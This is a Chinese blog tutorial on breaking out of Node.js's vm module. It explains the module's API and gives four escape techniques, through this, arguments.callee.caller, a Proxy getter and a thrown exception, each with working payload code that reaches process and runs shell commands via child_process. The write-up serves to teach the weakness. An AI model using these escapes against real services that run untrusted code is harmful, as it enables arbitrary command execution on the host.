nodejs沙箱绕过

目录

沙箱绕过原理

VM模块

1.vm.createContext([sandbox])

2.vm.runInContext

3.vm.runInNewContext

4.vm.Script类 

5.new vm.Script(code, options)

绕过方法

1.通过this

2.在没有this的情况下采用arguments对象

3.使用Proxy来劫持所有属性

4..借助异常


沙箱绕过原理

沙箱绕过的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱

VM模块

vm模块是Node.JS内置的一个模块。

理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

简单介绍一下vm模块的用法

1.vm.createContext([sandbox])

在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

2.vm.runInContext

vm.runInContext(code, contextifiedSandbox[, options])

参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同

再多提一点别的

3.vm.runInNewContext

vm.runInNewContext(code[, sandbox][, options])

creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。

4.vm.Script类 

vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。

5.new vm.Script(code, options)

创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。

code:要被解析的JavaScript代码

举一个常用的例子

const vm = require('vm');  //引入vm模块
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox); //创建沙箱对象
const res = vm.runInContext(script, context);//指定要执行的代码块和指定的沙箱
console.log(res)

绕过方法

1.通过this

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境

this.toString.constructor('return process')()
 

const process = this.toString.constructor('return process')() 
process.mainModule.require('child_process').execSync('whoami').toString()

第一行的 this.toString 获得函数对象,this.toString.constructor获得函数对象的构造器Function ,Function中可以传入字符串类 "return process" 来获得process对象

第二行 利用process对象执行想要执行的代码whoami

这里有一个值得注意的地方

为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?

这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。

那么另一个问题,m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?

这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的

所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。

2.在没有this的情况下采用arguments对象

const vm = require('vm'); 
const script = `...`; 
const sandbox = Object.create(null); //指向null啦
const context = new vm.createContext(sandbox); 
const res = vm.runInContext(script, context); 
console.log('Hello ' + res) 

采用arguments对象

arguments.callee.caller获得调用这个函数的调用者。 arguments.callee,指向函数本身,arguments.caller指向函数的父类,调用者调用该函数者,类似于this

(() => {  

const a = {}  

a.toString = function () {    

const cc = arguments.callee.caller;    

const p = (cc.constructor.constructor('return process'))();   

return p.mainModule.require('child_process').execSync('whoami').toString()  

}  

return a })()

①a 是空对象,也是箭头函数最后要返回的对象

②a.toString修改了toString方法返回使用process子模块执行任意代码,且只对a对象起作用,

③cc 获取的就是 process对象

④res = vm.runInContext(script, context); res成为执行script代码后的新的对象script代码块最终返回a对象,所以其实就是a

⑤.console.log('Hello ' + res) 字符串拼接对象,自动调用a对象里的toString方法,执行我们想要的代码

3.使用Proxy来劫持所有属性

只要沙箱外获取了属性,我们仍然可以用来执行恶意代码

(() => {  

const a = new Proxy({}, { 

get: function() {      

const cc = arguments.callee.caller;      

const p = (cc.constructor.constructor('return process'))();     

 return p.mainModule.require('child_process').execSync('whoami').toString()

}  

})    

return a })()
//使用proxy代理操作拦截对象属性的读取,当读取数据的时候就触发proxy

4..借助异常

将沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞

具体的代码

vm = require('vm'); 

const code5 = `throw new Proxy({}, {    
 get: function() {     
 const cc = arguments.callee.caller;      
 const p = (cc.constructor.constructor('return process'))();      
 return p.mainModule.require('child_process').execSync('whoami').toString()    
 }  
 }) `; 
try {    vm.runInContext(code5, vm.createContext(Object.create(null))); }
 catch(e)
 {    console.log('error happend: ' + e); }

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值